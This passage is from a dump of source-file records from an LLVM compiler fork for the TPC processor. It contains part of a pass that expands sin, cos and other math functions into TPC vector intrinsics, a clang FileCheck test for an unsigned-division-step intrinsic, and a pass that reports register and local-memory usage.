Builder.CreateFMul(op0Mul, op1Mul);\n\n SmallVector<Type *, 6> TypesConvert{MulRes->getType(),\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n Int64Type,\n I1Type,\n I1Type};\n FType = FunctionType::get(Int64Type, TypesConvert, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert, FType), FType)\n .getCallee());\n auto ConvertRes = Builder.CreateCall(\n Intrinsic, {MulRes, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 197120), UndefValue::get(Int64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto ConstOneInt = ConstantInt::get(I32Type, 1);\n auto Op0And = ConstantVector::getSplat(64, ConstOneInt);\n auto AndRes = Builder.CreateAnd(ConvertRes, Op0And);\n\n auto AddRes = Builder.CreateAdd(ConvertRes, AndRes);\n\n SmallVector<Type *, 6> TypesConvert2{AddRes->getType(),\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n Float64Type,\n I1Type,\n I1Type};\n FType = FunctionType::get(Float64Type, TypesConvert2, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert, FType), FType)\n .getCallee());\n ConvertRes = Builder.CreateCall(\n Intrinsic, {AddRes, ConstantInt::get(I8Type, 2),\n ConstantInt::get(I32Type, 0), UndefValue::get(Float64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 6> TypesMac{ConvertRes->getType(),\n Float64Type,\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n FabsRes->getType(),\n I1Type,\n I1Type};\n FType = FunctionType::get(Float64Type, TypesMac, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mac, FType),\n FType)\n .getCallee());\n auto Const0Mac = ConstantFP::get(F32Type, 7.85156250e-01);\n auto MacRes = Builder.CreateCall(\n Intrinsic,\n {ConvertRes, ConstantVector::getSplat(64, Const0Mac),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 2), FabsRes,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 6> Types2Mac{ConvertRes->getType(),\n Float64Type,\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n MacRes->getType(),\n I1Type,\n I1Type};\n FType = FunctionType::get(Float64Type, Types2Mac, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mac, FType),\n FType)\n .getCallee());\n Const0Mac = ConstantFP::get(F32Type, 2.41875648498e-4);\n auto Mac2Res = Builder.CreateCall(\n Intrinsic,\n {ConvertRes, ConstantVector::getSplat(64, Const0Mac),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 2), MacRes,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 6> Types3Mac{ConvertRes->getType(),\n Float64Type,\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n Mac2Res->getType(),\n I1Type,\n I1Type};\n FType = FunctionType::get(Float64Type, Types3Mac, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mac, FType),\n FType)\n .getCallee());\n Const0Mac = ConstantFP::get(F32Type, 3.7748949774e-8);\n auto Mac3Res = Builder.CreateCall(\n Intrinsic,\n {ConvertRes, ConstantVector::getSplat(64, Const0Mac),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 2), Mac2Res,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n FType = FunctionType::get(Float64Type, {Mac3Res->getType()}, false);\n Intrinsic =\n cast<Function>(InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::fabs, FType), FType)\n .getCallee());\n auto FabsRes2 = Builder.CreateCall(Intrinsic, {Mac3Res});\n\n auto Op0Lshr = ConstantInt::get(Int64Type, 1);\n auto LshrRes = Builder.CreateLShr(AddRes, Op0Lshr);\n\n auto Op0And2 = ConstantInt::get(I32Type, 3);\n auto And2Res =\n Builder.CreateAnd(LshrRes, ConstantVector::getSplat(64, Op0And2));\n\n auto Op0And3 = ConstantInt::get(I32Type, 2);\n auto And3Res =\n Builder.CreateAnd(LshrRes, ConstantVector::getSplat(64, Op0And3));\n\n FType = FunctionType::get(Float64Type, TypesConvert2, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert, FType), FType)\n .getCallee());\n ConvertRes = Builder.CreateCall(\n Intrinsic, {And3Res, ConstantInt::get(I8Type, 2),\n ConstantInt::get(I32Type, 0), UndefValue::get(Float64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n Value *SubRes;\n if (!SinCond) {\n MulRes = Builder.CreateFMul(SelGrtRes, ConvertRes);\n SubRes = Builder.CreateFSub(SelGrtRes, MulRes);\n } else {\n auto ConstOne0 = ConstantFP::get(F32Type, 1.000000e+00);\n auto Op0Sub4 = ConstantVector::getSplat(64, ConstOne0);\n MulRes = Builder.CreateFSub(Op0Sub4, ConvertRes);\n }\n auto Sub2Res = Builder.CreateNSWSub(And2Res, And3Res);\n\n SmallVector<Type *, 7> TypesCmpEq{Sub2Res->getType(),\n IntegerType::get(M.getContext(), 32),\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n Char256Type,\n I1Type,\n I1Type};\n FType = FunctionType::get(Char256Type, TypesCmpEq, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_cmp_eq, FType), FType)\n .getCallee());\n auto CmpEqRes = Builder.CreateCall(\n Intrinsic,\n {Sub2Res, ConstantInt::get(I32Type, SinCond), ConstantInt::get(I8Type, 2),\n ConstantInt::get(I32Type, 0), UndefValue::get(Char256Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 7> TypesGetLutEntry{FabsRes2->getType(),\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n VectorType::get(I32Type, 128),\n I1Type,\n I1Type};\n FType =\n FunctionType::get(VectorType::get(I32Type, 128), TypesGetLutEntry, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto GetLutEntryRes = Builder.CreateCall(\n Intrinsic, {FabsRes2, ConstantInt::get(I8Type, 17),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 24576),\n UndefValue::get(VectorType::get(I32Type, 128)),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n SmallVector<uint32_t, 64> Vec0;\n SmallVector<uint32_t, 64> Vec1;\n for (int i = 0; i < 64; i++) {\n Vec0.push_back(i);\n Vec1.push_back(64 + i);\n }\n\n auto FirstHalf = Builder.CreateShuffleVector(\n GetLutEntryRes, UndefValue::get(VectorType::get(I32Type, 128)), Vec0);\n auto SecondHalf = Builder.CreateShuffleVector(\n GetLutEntryRes, UndefValue::get(VectorType::get(I32Type, 128)), Vec1);\n\n auto DestType = Float64Type;\n auto BitCastRes = Builder.CreateBitCast(SecondHalf, DestType);\n\n SmallVector<Type *, 7> TypesAdd4{Int64Type, I32Type, I8Type,\n I32Type, Int64Type, CmpEqRes->getType(),\n I1Type};\n FType = FunctionType::get(Int64Type, TypesAdd4, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_add, FType),\n FType)\n .getCallee());\n auto Add4Res = Builder.CreateCall(\n Intrinsic, {FirstHalf, ConstantInt::get(I32Type, 64),\n ConstantInt::get(I8Type, 3), ConstantInt::get(I32Type, 0),\n FirstHalf, CmpEqRes, ConstantInt::get(I1Type, 1)});\n\n auto Sub3Res = Builder.CreateFSub(FabsRes2, BitCastRes);\n\n SmallVector<Type *, 6> TypesLookUp1c{Int64Type, I32Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesLookUp1c, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto LookUp1cRes = Builder.CreateCall(\n Intrinsic,\n {Add4Res, ConstantInt::get(I32Type, 130), ConstantInt::get(I32Type, 0),\n ConstantAggregateZero::get(Float64Type), ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 6> TypesLookUp2c{Int64Type, I32Type,\n I32Type, VectorType::get(F32Type, 128),\n I1Type, I1Type};\n FType =\n FunctionType::get(VectorType::get(F32Type, 128), TypesLookUp2c, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto LookUp2cRes = Builder.CreateCall(\n Intrinsic,\n {Add4Res, ConstantInt::get(I32Type, 130), ConstantInt::get(I32Type, 0),\n UndefValue::get(VectorType::get(F32Type, 128)),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n FirstHalf = Builder.CreateShuffleVector(\n LookUp2cRes, UndefValue::get(VectorType::get(F32Type, 128)), Vec0);\n SecondHalf = Builder.CreateShuffleVector(\n LookUp2cRes, UndefValue::get(VectorType::get(F32Type, 128)), Vec1);\n\n FType = FunctionType::get(Float64Type, Types3Mac, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mac, FType),\n FType)\n .getCallee());\n auto Mac4Res = Builder.CreateCall(\n Intrinsic, {SecondHalf, Sub3Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), FirstHalf,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n auto Mac5Res = Builder.CreateCall(\n Intrinsic, {Mac4Res, Sub3Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), LookUp1cRes,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 7> TypesTPCMul{\n Float64Type, Mac5Res->getType(), I8Type, I32Type,\n Float64Type, Char256Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesTPCMul, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mul, FType),\n FType)\n .getCallee());\n auto TPCMulRes = Builder.CreateCall(\n Intrinsic, {FabsRes2, Mac5Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), Mac5Res, CmpEqRes,\n ConstantInt::get(I1Type, 0)});\n Value *TPCSelLessRes, *TPCSelGrtRes0;\n if (!SinCond) {\n auto Sub4Res = Builder.CreateFNeg(SubRes);\n SmallVector<Type *, 9> TypesSelLess{Float64Type, F32Type, Float64Type,\n Float64Type, I8Type, I32Type,\n Float64Type, Char256Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelLess, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_less, FType), FType)\n .getCallee());\n TPCSelLessRes = Builder.CreateCall(\n Intrinsic,\n {Mac3Res, ConstantFP::get(F32Type, 0.000000e+00), Sub4Res, SubRes,\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0), SubRes,\n CmpEqRes, ConstantInt::get(I1Type, 0)});\n } else {\n auto Sub0Res = Builder.CreateFNeg(MulRes);\n SmallVector<Type *, 9> TypesSelGrt0{\n Mac3Res->getType(), F32Type, Sub0Res->getType(),\n MulRes->getType(), I8Type, I32Type,\n Float64Type, Char256Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelGrt0, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType), FType)\n .getCallee());\n TPCSelGrtRes0 = Builder.CreateCall(\n Intrinsic,\n {Mac3Res, ConstantFP::get(F32Type, 0.000000e+00), Sub0Res, MulRes,\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0), MulRes,\n CmpEqRes, ConstantInt::get(I1Type, 0)});\n }\n\n auto Sub5Res = Builder.CreateFNeg(TPCMulRes);\n\n SmallVector<Type *, 9> TypesSelLess2{Float64Type, F32Type, Float64Type,\n Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelLess2, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_less, FType), FType)\n .getCallee());\n\n Value *TPCSelLess2Res;\n if (!SinCond) {\n TPCSelLess2Res = Builder.CreateCall(\n Intrinsic, {TPCSelLessRes, ConstantFP::get(F32Type, 0.000000e+00),\n Sub5Res, TPCMulRes, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), UndefValue::get(Float64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n } else {\n TPCSelLess2Res = Builder.CreateCall(\n Intrinsic, {TPCSelGrtRes0, ConstantFP::get(F32Type, 0.000000e+00),\n Sub5Res, TPCMulRes, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), UndefValue::get(Float64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n }\n SmallVector<Type *, 6> TypesConvert3{I32Type, I8Type, I32Type,\n F32Type, I1Type, I1Type};\n FType = FunctionType::get(F32Type, TypesConvert3, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert, FType), FType)\n .getCallee());\n auto ConvertRes2 = Builder.CreateCall(\n Intrinsic,\n {ConstantInt::get(I32Type, 16777215), ConstantInt::get(I8Type, 2),\n ConstantInt::get(I32Type, 0), ConstantFP::get(F32Type, 0.000000e+00),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n auto ConvertRes3 = Builder.CreateCall(\n Intrinsic,\n {ConstantInt::get(I32Type, 8192), ConstantInt::get(I8Type, 2),\n ConstantInt::get(I32Type, 0), ConstantFP::get(F32Type, 0.000000e+00),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n SmallVector<Type *, 9> TypesSelGrt{FabsRes->getType(), F32Type, Float64Type,\n Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelGrt, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType), FType)\n .getCallee());\n auto TPCSelGrtRes = Builder.CreateCall(\n Intrinsic, {FabsRes, ConvertRes3, ConstantAggregateZero::get(Float64Type),\n TPCSelLess2Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), UndefValue::get(Float64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n auto ConstNanFP32 = ConstantFP::getNaN(F32Type);\n auto TPCSelGrt2Res = Builder.CreateCall(\n Intrinsic,\n {FabsRes, ConvertRes2, ConstantVector::getSplat(64, ConstNanFP32),\n TPCSelGrtRes, ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n\n auto DestType2 = Int64Type;\n auto BitCastRes2 = Builder.CreateBitCast(FabsRes, DestType2);\n\n SmallVector<Type *, 9> TypesSelGeq{DestType2, I32Type, Float64Type,\n Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelGeq, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_geq, FType), FType)\n .getCallee());\n auto TPCSelGeqRes = Builder.CreateCall(\n Intrinsic, {BitCastRes2, ConstantInt::get(I32Type, 2139095040),\n ConstantVector::getSplat(64, ConstNanFP32), TPCSelGrt2Res,\n ConstantInt::get(I8Type, 3), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n InstrToReplace->replaceAllUsesWith(TPCSelGeqRes);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::expandSpecialFunction(Module &M) {\n for (auto &FuncIt : M) {\n Function *F = &FuncIt;\n for (inst_iterator It = inst_begin(F), E = inst_end(F); It != E; ++It) {\n inst_iterator PrevIt;\n bool bFirst = false;\n if (It == inst_begin(F)) {\n bFirst = true;\n } else {\n PrevIt = It;\n --PrevIt;\n }\n Instruction *CurrI = &(*It);\n if (!dyn_cast<IntrinsicInst>(CurrI))\n continue;\n auto IntrInst = dyn_cast<IntrinsicInst>(CurrI);\n auto IntrID = IntrInst->getIntrinsicID();\n auto Ty = IntrInst->getType();\n\n bool Change = true;\n if (Ty == Float64Type) {\n if (IntrID == Intrinsic::sin)\n replaceSinCosWithTPCIntrinsics(M, CurrI, 0);\n else if (IntrID == Intrinsic::cos)\n replaceSinCosWithTPCIntrinsics(M, CurrI, 1);\n else if (IntrID == Intrinsic::exp)\n replaceExpWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::log)\n replaceLogWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::sqrt)\n replaceSqrtWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::tpc_rsqrt)\n replaceReciprocalSqrtWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::tpc_tanh)\n replaceTanhWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::tpc_reciprocal)\n replaceReciprocalWithTPCIntrinsics(M, CurrI);\n else\n Change = false;\n } else if (Ty == Bfloat128Type) {\n if (IntrID == Intrinsic::sin)\n replaceBF16SinWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::cos)\n replaceBF16CosWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::exp)\n replaceBF16ExpWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::log)\n replaceBF16LogWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::sqrt)\n replaceBF16SqrtWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::tpc_rsqrt)\n replaceBF16ReciprocalSqrtWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::tpc_tanh)\n replaceBF16TanhWithTPCIntrinsics(M, CurrI);\n else if (IntrID == Intrinsic::tpc_reciprocal)\n replaceBF16ReciprocalWithTPCIntrinsics(M, CurrI);\n else\n Change = false;\n } else {\n Change = false;\n }\n\n if (Change) {\n if (!bFirst) {\n It = ++PrevIt;\n } else {\n It = ++inst_begin(F);\n }\n }\n }\n }\n}\n\nvoid EvalSpecialFunctionPass::expandFDiv(Module &M, Instruction *I) {\n IRBuilder<> Builder(I);\n Type *Ty = I->getType();\n Value *Numerator = I->getOperand(0), *Denominator = I->getOperand(1);\n SmallVector<Type *, 1> Types = {Ty};\n auto FType = FunctionType::get(Ty, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_reciprocal, FType), FType)\n .getCallee());\n auto Recip = Builder.CreateCall(Intrinsic, Denominator);\n auto FMul = Builder.CreateFMul(Numerator, Recip);\n I->replaceAllUsesWith(FMul);\n}\n\nvoid EvalSpecialFunctionPass::expandSpecialCaseLLVMIR(Module &M) {\n SmallVector<Instruction *, 8> EraseList;\n for (auto &FIt : M)\n for (inst_iterator It = inst_begin(&FIt), E = inst_end(&FIt); It != E;\n ++It) {\n Instruction *I = &*It;\n // Handle vector FDIV case.\n if (I->getType()->isVectorTy() && I->getOpcode() == Instruction::FDiv) {\n expandFDiv(M, I);\n EraseList.push_back(I);\n }\n }\n\n for (Instruction *I : EraseList)\n I->eraseFromParent();\n}\n\nbool EvalSpecialFunctionPass::runOnModule(Module &M) {\n\n if (!EvalSpclFunc)\n return false;\n\n I32Type = Type::getInt32Ty(M.getContext());\n I1Type = Type::getInt1Ty(M.getContext());\n I8Type = Type::getInt8Ty(M.getContext());\n I16Type = Type::getInt16Ty(M.getContext());\n F32Type = Type::getFloatTy(M.getContext());\n BF16Type = Type::getBFloat16Ty(M.getContext());\n Int64Type = VectorType::get(I32Type, 64);\n Int128Type = VectorType::get(I32Type, 128);\n Float64Type = VectorType::get(F32Type, 64);\n Float128Type = VectorType::get(F32Type, 128);\n Short128Type = VectorType::get(I16Type, 128);\n Short256Type = VectorType::get(I16Type, 256);\n Bfloat128Type = VectorType::get(BF16Type, 128);\n Bfloat256Type = VectorType::get(BF16Type, 256);\n Char256Type = VectorType::get(I1Type, 256);\n I8256Type = VectorType::get(I8Type, 256);\n\n expandSpecialCaseLLVMIR(M);\n expandSpecialFunction(M);\n return false;\n}\n\nModulePass *llvm::createEvalSpecialFunctionPass() {\n return new EvalSpecialFunctionPass();\n}\n" }, { "alpha_fraction": 0.5365474224090576, "alphanum_fraction": 0.5863141417503357, "avg_line_length": 39.1875, "blob_id": "4ea31414759ac10a96f4f7bc44e851a1187f516a", "content_id": "4b3c24655ab80ebe5faa28400eae403bf44282da", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 643, "license_type": "permissive", "max_line_length": 78, "num_lines": 16, "path": "/clang/test/RC99/IntrinsicsM/s_u8_udiv_step_s-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, unsigned char dividend, unsigned char divisor) {\n uint8_t_pair_t __local *dptr = (uint8_t_pair_t __local *) dest;\n uint8_t_pair_t quot_rem = { dividend, 0 };\n quot_rem = s_u8_udiv_step_s(quot_rem, divisor, 1);\n quot_rem.v2 = 0;\n *dptr = quot_rem;\n}\n\n// move 'dividend' to a register pair, clear remainder\n// CHECK-DAG: mov.i32 %S[[ZNN:[0-9]+]], 0x0\n// CHECK-DAG: add.i32 %S[[DST:[0-9]+]], %S0, 0x4\n// CHECK-DAG: st_l %S[[DST]], %S[[ZNN]]\n// CHECK-DAG: udiv_step.u8 0x1 %Z[[ZN:[0-9]+]], %S2, %SP0\n// CHECK: st_l %S0, %S[[ZN]]\n" }, { "alpha_fraction": 0.625141978263855, "alphanum_fraction": 0.6272245645523071, "avg_line_length": 32.43037796020508, "blob_id": "13afba733e0f562545706e08cea3af7699bcc283", "content_id": "9dc243e95cd22ecf370013339491c89287427d05", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5282, "license_type": "permissive", "max_line_length": 123, "num_lines": 158, "path": "/llvm/lib/Target/TPC/TPCRegisterCounter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCRegisterCounter.cpp --- Optimizes predicates ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#define DEBUG_TYPE \"tpc-rcount\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCFrameLowering.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCInstPrinter.h\"\n#include <set>\n#include <sstream>\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCRegisterCounter();\nvoid initializeTPCRegisterCounterPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC register counter\";\nstatic const char PassName[] = \"tpc-rcount\";\n\n// Flag to enable spill counter.\nstatic cl::opt<bool>\nEnableSpillCounter(\"spill-count\",\n cl::desc(\"Count number of registers,local memory and local memory for spills used (default=false)\"),\n cl::init(false), cl::Hidden);\n\nnamespace {\n\nstatic void printRegisterSet(std::set<unsigned> Registers, StringRef RegType) {\n StringRef OutputStr = \" registers used: \";\n if (Registers.size() == 0) {\n return;\n }\n if (Registers.size() == 1) {\n OutputStr = \" register used: \";\n }\n errs() << Registers.size() << \" \" << RegType<< OutputStr;\n for (auto Elem : Registers){\n errs() << \"%\" <<TPCInstPrinter::getRegisterName(Elem) << \" \";\n }\n errs() << \"\\n\";\n}\nclass TPCRegisterCounter : public MachineFunctionPass {\npublic:\n static char ID;\n StringRef getPassName() const override { return PassDescription; }\n\n TPCRegisterCounter() : MachineFunctionPass(ID) {\n initializeTPCRegisterCounterPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n}\n\nchar TPCRegisterCounter::ID = 0;\n\nINITIALIZE_PASS(TPCRegisterCounter, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCRegisterCounter() {\n return new TPCRegisterCounter();\n}\n\nbool TPCRegisterCounter::runOnMachineFunction(MachineFunction &MF) {\n TPCFrameLowering &FL = *const_cast<TPCFrameLowering *>(\n MF.getSubtarget<TPCSubtarget>().getFrameLowering());\n unsigned ScalarSz = FL.getScalarDataSize();\n unsigned VectorSz = FL.getVectorDataSize();\n unsigned SpillScalarSz = FL.getSpillScalarDataSize();\n unsigned SpillVectorSz = FL.getSpillVectorDataSize();\n\n unsigned MaxSpillVlm = MF.getSubtarget<TPCSubtarget>().getTargetLowering()->getTargetMachine().Options.SpillVlm;\n if (MaxSpillVlm) {\n if (SpillVectorSz > MaxSpillVlm) {\n std::ostringstream Msg;\n Msg << \"Too much vector memory is used for vector spills: \"\n << SpillVectorSz << \" is used, but only \" << MaxSpillVlm << \" is available\\n\";\n report_fatal_error(Msg.str(), false);\n }\n }\n\n bool RegMemCounter = MF.getSubtarget<TPCSubtarget>().getTargetLowering()->getTargetMachine().Options.RegMemCount;\n if (!RegMemCounter && !EnableSpillCounter) {\n return false;\n }\n\n // If Vector memory is not used, the initial offset is not taken into account.\n if (VectorSz == 256) {\n VectorSz = 0;\n }\n\n const TPCInstrInfo *TII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n const TPCRegisterInfo &RI = TII->getRegisterInfo();\n\n std::set<unsigned> SRF;\n std::set<unsigned> VRF;\n std::set<unsigned> IRF;\n std::set<unsigned> SPRF;\n std::set<unsigned> VPRF;\n std::set<unsigned> ADRF;\n\n for (auto &BB : MF) {\n for (auto &MI : BB) {\n for(auto &MO : MI.operands()){\n if (!MO.isReg())\n continue;\n if (!MO.getReg().isPhysical())\n continue;\n unsigned R = MO.getReg();\n if (R) {\n const TargetRegisterClass *RegClass = TII->getClassOfPhysicalRegister(R, RI);\n if (RegClass == &TPC::VRFRegClass) {\n VRF.insert(R);\n } else if (RegClass == &TPC::SRFRegClass) {\n SRF.insert(R);\n } else if (RegClass == &TPC::IRFRegClass) {\n IRF.insert(R);\n } else if (RegClass == &TPC::VPRFRegClass) {\n VPRF.insert(R);\n } else if (RegClass == &TPC::SPRFRegClass) {\n SPRF.insert(R);\n } else if (RegClass == &TPC::ADRFRegClass) {\n ADRF.insert(R);\n }\n }\n }\n }\n }\n if (RegMemCounter) {\n errs() << \"Total SLM used: \" << ScalarSz + SpillScalarSz << \" bytes\\n\";\n errs() << \"Total VLM used: \" << VectorSz + SpillVectorSz << \" bytes\\n\";\n }\n if (EnableSpillCounter) {\n errs() << \"SLM used: \" << ScalarSz << \" bytes\\n\";\n errs() << \"Spill SLM used: \" << SpillScalarSz << \" bytes\\n\";\n errs() << \"VLM used: \" << VectorSz << \" bytes\\n\";\n errs() << \"Spill VLM used: \" << SpillVectorSz << \" bytes\\n\";\n }\n\n printRegisterSet(VRF, \"VRF\");\n printRegisterSet(SRF, \"SRF\");\n printRegisterSet(VPRF,\"VPRF\");\n printRegisterSet(SPRF,\"SPRF\");\n printRegisterSet(IRF, \"IRF\");\n printRegisterSet(ADRF,\"ADRF\");\n return true;\n}\n" }, { "alpha_fraction": 0.321601927280426, "alphanum_fraction": 0.4769417345523834, "avg_line_length": 34.826087951660156, "blob_id": "7045d16f3f45fd895220683e0db2869a44ccc273", "content_id": "19015b24fe4de208e2c83c6cc0722ba6c3752e68", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1648, "license_type": "permissive", "max_line_length": 106, "num_lines": 46, "path": 